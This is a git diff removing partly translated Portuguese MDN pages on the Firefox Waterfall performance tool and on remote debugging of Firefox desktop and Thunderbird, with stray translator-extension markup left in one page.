- <p>JavaScript functions executed in the page are labeled with the reason the function was called:</p>
-
- <p><strong>Script Tag<br>
- setInterval<br>
- setTimeout<br>
- requestAnimationFrame<br>
- Promise Callback<br>
- Promise Init<br>
- Worker<br>
- JavaScript URI<br>
- Event Handler</strong></p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10703/orange.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Stack</dt>
- <dd>Call stack, with links to functions.</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Analisar HTML</strong></p>
-
- <p>Time spent parsing the page's HTML.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10703/orange.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Stack</dt>
- <dd>Call stack, with links to functions.</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Analisar XML</strong></p>
-
- <p>Time spent parsing the page's XML.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10703/orange.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Stack</dt>
- <dd>Call stack, with links to functions.</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Recalcular Estilo</strong></p>
-
- <p>Calculating the computed styles that apply to page elements.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10707/purple.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Restyle Hint</dt>
- <dd>A string indicating what kind of restyling is needed. The hint may be any of:<br>
- Self<br>
- Subtree<br>
- LaterSiblings<br>
- CSSTransitions<br>
- CSSAnimations<br>
- SVGAttrAnimations<br>
- StyleAttribute<br>
- StyleAttribute_Animations<br>
- Force<br>
- ForceDescendants</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Disposição (Layout)</strong></p>
-
- <p>Calculating the position and size of page elements. This operation is sometimes called "reflow".</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10707/purple.png" style="height: 21px; width: 60px;"></td>
- <td> </td>
- </tr>
- <tr>
- <td>
- <p><strong>Pintura</strong></p>
-
- <p>Desenhar píxeis para o ecrã.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10705/green.png" style="height: 21px; width: 60px;"></td>
- <td> </td>
- </tr>
- <tr>
- <td>
- <p><strong>Coleção de Lixo</strong></p>
-
- <p><a href="/en-US/docs/Tools/Performance/Waterfall#Garbage_collection">Garbage collection event</a>. Non-incremental GC events are labeled "(Non-incremental)".</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10709/red.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Motivo</dt>
- <dd>A string the indicating the reason GC was performed.</dd>
- <dt>Motivo Não Incremental</dt>
- <dd>If the GC event was non-incremental, the string indicates the reason non-incremental GC was performed.</dd>
- </dl>
-
- <div class="geckoVersionNote">
- <p>New in Firefox 46: if the GC event was caused by allocation pressure, a link appears, labeled "Show Allocation Triggers". Click the link to see the allocation profile leading up to this GC event.</p>
-
- <p>See <a href="/en-US/docs/Tools/Performance/Allocations#Allocations_and_garbage_collection">Allocations and Garbage Collection</a> for more details.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Ciclo da Coleção</strong></p>
-
- <p>Reclaiming C++ reference-counted data structures.</p>
-
- <p>Like garbage collection, but for C++ objects. See <a href="http://blog.kylehuey.com/post/27564411715/cycle-collection">Kyle Huey's blog post about cycle collection</a>.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10709/red.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Tipo</dt>
- <dd>Always "Collect".</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>CC - Reduçãod e Gráfico</strong></p>
-
- <p>Preparation/pre-optimization for Cycle Collection.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10709/red.png" style="height: 21px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Tipo</dt>
- <dd>Always "ForgetSkippable".</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Consola</strong></p>
-
- <p>The period between matching calls to <code>console.time()</code> and <code>console.timeEnd()</code>.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10955/gray.png" style="height: 54px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Nome do temporizador</dt>
- <dd>The argument passed to the <code>console</code> functions.</dd>
- <dt>Stack at start</dt>
- <dd>Call stack <code>console.time()</code>, with links to functions.</dd>
- <dt>Stack at End</dt>
- <dd>(New in Firefox 41). Call stack at <code>console.timeEnd()</code>. If this is inside a callback from a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>, this will also show the <a href="/en-US/docs/Tools/Performance/Waterfall#Async_stack">"Async stack"</a>.</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Data/Hora</strong></p>
-
- <p>A single call to <code><a href="/en-US/docs/Web/API/Console/timeStamp">console.timeStamp()</a></code>.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/10953/blue.png" style="height: 54px; width: 60px;"></td>
- <td>
- <dl>
- <dt>Etiqueta</dt>
- <dd>The argument passed to <code>timeStamp()</code>.</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>DOM - Conteúdo Carregado</strong></p>
-
- <p>The document's <code><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></code> event.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/12191/red.png" style="height: 21px; width: 60px;"></td>
- <td> </td>
- </tr>
- <tr>
- <td>
- <p><strong>Carregamento</strong></p>
-
- <p>The document's <code><a href="/en-US/docs/Web/Events/load">load</a></code> event.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/12193/blue.png" style="height: 21px; width: 60px;"></td>
- <td> </td>
- </tr>
- <tr>
- <td>
- <p><strong>Worker event in main thread</strong></p>
-
- <p>Shown when the main thread sends a message to a worker, or receives a message from a worker.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/12195/orange2.png" style="height: 21px; width: 60px;"></td>
- <td>
- <p>One of:</p>
-
- <dl>
- <dt>Serialize data on the main thread</dt>
- <dd>The main thread is serializing a message to be sent to the worker.</dd>
- <dt>Deserialize data on the main thread</dt>
- <dd>The main thread is deserializing a message received from the worker.</dd>
- </dl>
- </td>
- </tr>
- <tr>
- <td>
- <p><strong>Worker event in worker thread</strong></p>
-
- <p>Shown when a worker receives a message from the main thread, or sends a message to the main thread.</p>
- </td>
- <td><img alt="" src="https://mdn.mozillademos.org/files/12197/orange2-hollow.png" style="height: 21px; width: 60px;"></td>
- <td>
- <p>One of:</p>
-
- <dl>
- <dt>Serialize data in Worker</dt>
- <dd>The worker is serializing a message to be sent to the main thread.</dd>
- <dt>Deserialize data in Worker</dt>
- <dd>The worker is deserializing a message received from the main thread.</dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>The markers, and their colors, are the same in the Waterfall tool as in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Waterfall_overview">Waterfall overview</a>, making is easy to correlate from one to the other.</p>
-
-<h3 id="Filtrar_marcadores">Filtrar marcadores</h3>
-
-<p>You can control which markers are displayed using a button in the <a href="/en-US/docs/Tools/Performance/UI_Tour#Toolbar">Toolbar</a>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13238/perf-markers.png" style="display: block; height: 694px; margin-left: auto; margin-right: auto; width: 799px;"></p>
-
-<h2 id="Padrões_de_cascata">Padrões de cascata</h2>
-
-<p>Exactly what you'll see in the Waterfall is very dependent on the kind of thing your site is doing: JavaScript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. But there are common patterns which can alert you to possible performance problems.</p>
-
-<h3 id="Renderizar_cascata">Renderizar cascata</h3>
-
-<p>One pattern that you'll often see in the Waterfall view is something like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10711/perf-timeline-waterfall.png" style="display: block; height: 286px; margin-left: auto; margin-right: auto; width: 727px;"></p>
-
-<p>This is a visualization of the basic algorithm the browser uses to update the page in response to some event:</p>
-
-<ol>
- <li><strong>JavaScript Function Call</strong>: some event - for example, a DOM event - causes some JavaScript in the page to run. The JavaScript changes some of the page's DOM or CSSOM.</li>
- <li><strong>Recalculate Style</strong>: if the browser thinks the computed styles for page elements have changed, it must then recalculate them.</li>
- <li><strong>Layout</strong>: next, the browser uses the computed styles to figure out the position and geometry for the elements. This operation is labeled "layout" but is also sometimes called "reflow".</li>
- <li><strong>Paint</strong>: finally, the browser needs to repaint the elements to the screen. One last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "Composition".</li>
-</ol>
-
-<p>This sequence needs to fit into a single frame, since the screen isn't updated until it is complete. It's commonly accepted that 60 frames per second is the rate at which animations will appear smooth. For a rate of 60 frames per second, that gives the browser 16.7 milliseconds to execute the complete flow.</p>
-
-<p>Importantly for responsiveness, the browser doesn't always have to go through every step:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS animations</a> update the page without having to run any JavaScript.</li>
- <li>Not all CSS property changes cause a reflow. Changing properties that can alter an object's geometry and position, such as <code><a href="/en-US/docs/Web/CSS/width">width</a></code>, <code><a href="/en-US/docs/Web/CSS/display">display</a></code>, <code><a href="/en-US/docs/Web/CSS/font-size">font-size</a></code>, or <code><a href="/en-US/docs/Web/CSS/top">top</a></code>, will cause a reflow. However, changing properties that don't alter geometry or position, such as <code><a href="/en-US/docs/Web/CSS/color">color</a></code> or <code><a href="/en-US/docs/Web/CSS/opacity">opacity</a></code>, will not.</li>
- <li>Not all CSS property changes cause a repaint. In particular, if you animate an element using the <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> property, the browser will use a separate layer for the transformed element, and doesn't even have to repaint when the element is moved: the new position of the element is handled in composition.</li>
-</ul>
-
-<p>The <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties">Animating CSS properties</a> article shows how animating different CSS properties can give different performance outcomes, and how the Waterfall can help signal that.</p>
-
-<h3 id="Bloquear_JavaScript">Bloquear JavaScript</h3>
-
-<p>By default, a site's JavaScript is executed in the same thread that the browser uses for layout updates, repaints, DOM events, and so on. This means that long-running JavaScript functions can cause unresponsiveness (jank): animations may not be smooth, or the site might even freeze.</p>
-
-<p>Using the frame rate tool and the Waterfall together, it's easy to see when long-running JavaScript is causing responsiveness problems. In the screenshot below, we've zoomed in on a JS function that's caused a drop in the frame rate:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10973/perf-js-blocking-waterfall.png" style="display: block; height: 432px; margin-left: auto; margin-right: auto; width: 1128px;"></p>
-
-<p>The <a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Intensive JavaScript</a> article shows how the Waterfall can highlight responsiveness problems caused by long JavaScript functions, and how you can use asynchronous methods to keep the main thread responsive.</p>
-
-<h3 id="Pinturas_dispendiosas">Pinturas dispendiosas</h3>
-
-<p>Some paint effects, such as <code><a href="/en-US/docs/Web/CSS/box-shadow">box-shadow</a></code>, can be expensive, especially if you are applying them in a transition where the browser has to calculate them in every frame. If you're seeing drops in the frame rate, especially during graphically-intensive operations and transitions, check the Waterfall for long green markers.</p>
-
-<h3 id="Coleção_de_lixo">Coleção de lixo</h3>
-
-<p>Red markers in the Waterfall represent garbage collection (GC) events, in which <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> (the JavaScript engine in Firefox) walks the heap looking for memory that's no longer reachable and subsequently releasing it. GC is relevant to performance because while it's running the JavaScript engine must be paused, so your program is suspended and will be completely unresponsive.</p>
-
-<p>To help reduce the length of pauses, SpiderMonkey implements <em>incremental GC</em>: this means that it can perform garbage collection in fairly small increments, letting the program run in between. Sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish.</p>
-
-<ul>
-</ul>
-
-<p>In trying to avoid GC events, and especially non-incremental GC events, it's wise not to try to optimize for the specific implementation of the JavaScript engine. SpiderMonkey uses a complex set of heuristics to determine when GC is needed, and when non-incremental GC in particular is needed. In general, though:</p>
-
-<ul>
- <li>GC is needed when a lot of memory is being allocated</li>
- <li>non-incremental GC is usually needed when the memory allocation rate is high enough that SpiderMonkey may run out of memory during incremental GC</li>
-</ul>
-
-<p>When the Waterfall records a GC marker it indicates:</p>
-
-<ul>
- <li>whether the GC was incremental or not</li>
- <li>the reason the GC was performed</li>
- <li>if the GC was non-incremental, the reason it was non-incremental</li>
- <li>starting in Firefox 46, if the GC event was caused by allocation pressure, a link appears, labeled "Show Allocation Triggers". Click the link to see the allocation profile leading up to this GC event. See <a href="/en-US/docs/Tools/Performance/Allocations#Allocations_and_garbage_collection">Allocations and Garbage Collection</a> for more details.</li>
-</ul>
-
-<h2 id="Adicionar_marcadores_com_a_API_da_consola">Adicionar marcadores com a API da consola</h2>
-
-<p>Two markers are directly controlled by <a href="/en-US/docs/Web/API/Console">console API</a> calls: "Console" and "Timestamp".</p>
-
-<h3 id="Marcadores_da_consola">Marcadores da consola</h3>
-
-<p>These enable you to mark a specific section of the recording.</p>
-
-<p>To make a console marker, call <code>console.time()</code> at the start of the section, and <code>console.timeEnd()</code> at the end. These functions take an argument which is used to name the section.</p>
-
-<p>For example, suppose we have code like this:</p>
-
-<pre class="brush: js">var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
-
- console.time("calculating...");
-
- var primes = [];
- for (var i = 0; i &lt; iterations; i++) {
- var candidate = i * (multiplier * Math.random());
- var isPrime = true;
- for (var c = 2; c &lt;= Math.sqrt(candidate); ++c) {
- if (candidate % c === 0) {
- // not prime
- isPrime = false;
- break;
- }
- }
- if (isPrime) {
- primes.push(candidate);
- }
- }
-
- console.timeEnd("calculating...");
-
- return primes;
-}</pre>
-
-<p>The Waterfall's output will look something like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10967/perf-console-time.png" style="display: block; height: 430px; margin-left: auto; margin-right: auto; width: 1192px;"></p>
-
-<p>The marker is labeled with the argument you passed to <code>console.time()</code>, and when you select the marker, you can see the program stack in the right-hand sidebar.</p>
-
-<h4 id="Async_stack">Async stack</h4>
-
-<p class="geckoVersionNote">New in Firefox 41.</p>
-
-<p>Starting in Firefox 41, the right-hand sidebar will also show the stack at the end of the period: that is, at the point <code>console.timeEnd()</code> was called. If <code>console.timeEnd()</code> was called from the resolution of a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>, it will also display "(Async: Promise)", under which it will show the "async stack": that is, the call stack at the point the promise was made.</p>
-
-<p>For example, consider code like this:</p>
-
-<pre class="brush: js">var timerButton = document.getElementById("timer");
-timerButton.addEventListener("click", handleClick, false);
-
-function handleClick() {
- console.time("timer");
- runTimer(1000).then(timerFinished);
-}
-
-function timerFinished() {
- console.timeEnd("timer");
- console.log("ready!");
-}
-
-function runTimer(t) {
- return new Promise(function(resolve) {
- setTimeout(resolve, t);
- });
-}</pre>
-
-<p>The Waterfall will display a marker for the period between <code>time()</code> and <code>timeEnd()</code>, and if you select it, you'll see the async stack in the sidebar:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11179/async-stack.png" style="display: block; height: 378px; margin-left: auto; margin-right: auto; width: 352px;"></p>
-
-<h3 id="Marcadores_de_datahora">Marcadores de data/hora</h3>
-
-<p>Timestamps enable you to mark an instant in the recording.</p>
-
-<p>To make a timestamp marker, call <code><a href="/en-US/docs/Web/API/Console/timeStamp">console.timeStamp()</a></code>. You can pass an argument to label the timestamp.</p>
-
-<p>For example, suppose we adapt the code above to make a timestamp every 10 iterations of the loop, labeled with the iteration number:</p>
-
-<pre class="brush: js">var iterations = 70;
-var multiplier = 1000000000;
-
-function calculatePrimes() {
- console.time("calculating...");
-
- var primes = [];
- for (var i = 0; i &lt; iterations; i++) {
-
- if (i % 10 == 0) {
- console.timeStamp(i.toString());
- }
-
- var candidate = i * (multiplier * Math.random());
- var isPrime = true;
- for (var c = 2; c &lt;= Math.sqrt(candidate); ++c) {
- if (candidate % c === 0) {
- // not prime
- isPrime = false;
- break;
- }
- }
- if (isPrime) {
- primes.push(candidate);
- }
- }
- console.timeEnd("calculating...");
- return primes;
-}</pre>
-
-<p>In the Waterfall you'll now see something like this:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10971/perf-timestamp.png" style="display: block; height: 530px; margin-left: auto; margin-right: auto; width: 1192px;"></p>
-
-<p> </p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html b/files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html
deleted file mode 100644
index 0099b3a81d..0000000000
--- a/files/pt-pt/tools/remote_debugging/debugging_firefox_desktop/index.html
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Depurar Firefox para PC
-slug: Tools/Remote_Debugging/Debugging_Firefox_Desktop
-tags:
- - Depuração
- - Ferramentas
- - Guía
-translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop
----
-<p>{{draft}}</p>
-
-<p>{{ToolsSidebar}}</p>
-
-<p>This guide explains how you can use the Firefox Developer Tools to debug a different instance of desktop Firefox running on the same machine. In this guide, the instance of Firefox being debugged is called the <em>debuggee</em>, and the instance of Firefox doing the debugging is called the <em>debugger</em>.</p>
-
-<h2 id="Enable_remote_debugging">Enable remote debugging</h2>
-
-<p>First, you'll need to ensure that both debugger and debuggee have the "Enable browser chrome and add-on debugging toolboxes" and "Enable remote debugging" settings checked in the <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">Developer Tools Settings</a>. If you're using <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>, they are checked by default.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16905/remote_debug_settings.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p>
-
-<p>You only need to do this once: the setting values persist across restarts.</p>
-
-<h2 id="Start_the_debugger_server">Start the debugger server</h2>
-
-<p>Next, you need to start the debugger server in the debuggee.</p>
-
-<p>Run the debuggee from the command line, passing it the <code>--start-debugger-server</code> option:</p>
-
-<pre>/path/to/firefox --start-debugger-server</pre>
-
-<p>Passed with no arguments, --start-debugger-server makes the debugger server listen on port 6000. To use a different port, pass the desired port number:</p>
-
-<pre>/path/to/firefox --start-debugger-server 1234</pre>
-
-<p>Note: in Windows, the <code>start-debugger-server</code> call will only have one dash:</p>
-
-<pre>firefox.exe -start-debugger-server 1234</pre>
-
-<div class="note">
-<p><strong>Note</strong>: By default, and for security reasons, the <code>devtools.debugger.force-local</code> option is set. If you want to debug a Firefox instance from an external machine, you can change this option, but only do this on a trusted network or set a strong firewall rule to lock down which machines can access it.</p>
-</div>
diff --git a/files/pt-pt/tools/remote_debugging/index.html b/files/pt-pt/tools/remote_debugging/index.html
deleted file mode 100644
index a0eb56ab9a..0000000000
--- a/files/pt-pt/tools/remote_debugging/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Depuração Remota
-slug: Tools/Remote_Debugging
-tags:
- - Ferramentas
- - 'l10n:prioridade'
-translation_of: Tools/Remote_Debugging
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Pode utilizar as <a href="/pt-PT/docs/Tools">ferramentas de desenvolvimento do Firefox</a> no seu PC para depurar sites da Web e aplicação da Web em execução em outros navegadores ou tempos de execução. O outro navegador poderá estar no mesmo dispositivo que as próprias ferramentas ou num dispositivo diferente, tal como um telefone ligrado através de USB.</p>
-
-<p>As instruções detalhadas para ligar às ferramentas de programador são específicas de tempo de execução.</p>
-
-<p>Pode ligar às ferramentas de programador para os tempos de execução naseados em Gecko, tais como Firefox para PC, Firefox para Android, e Thunderbird.</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Tools/Remote_Debugging/Debugging_Firefox_Desktop">Firefox para PC</a></li>
- <li>Firefox para Android <a href="/pt-PT/docs/Tools/about:debugging">através de USB</a></li>
- <li><a href="/pt-PT/docs/Tools/Remote_Debugging/Depuracao_remota_Thunderbird">Thunderbird</a></li>
-</ul>
diff --git a/files/pt-pt/tools/remote_debugging/thunderbird/index.html b/files/pt-pt/tools/remote_debugging/thunderbird/index.html
deleted file mode 100644
index 8354c9ad22..0000000000
--- a/files/pt-pt/tools/remote_debugging/thunderbird/index.html
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Depurar remotamente o Thunderbird
-slug: Tools/Remote_Debugging/Thunderbird
-tags:
- - Tutorial
- - depurar
- - thunderbird
-translation_of: Tools/Remote_Debugging/Thunderbird
-original_slug: Tools/Remote_Debugging/Depuracao_remota_Thunderbird
----
-<div>{{ToolsSidebar}}</div><p>This guide explains how to use <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_usage_tips/Remote_debugging">remote debugging </a>to inspect or debug code running in <a href="/en-US/docs/Mozilla/Thunderbird">Thunderbird</a>.</p>
-
-<p>Various developer tools are supported by Thunderbird using the remote connection mechanism in Firefox. The currently supported toolset is the Web Console, Inspector, Debugger, Style Editor, Profiler and Network Monitor. Other Tools may become available in the future.</p>
-
-<h2 id="Configurar_o_Thunderbird">Configurar o Thunderbird</h2>
-
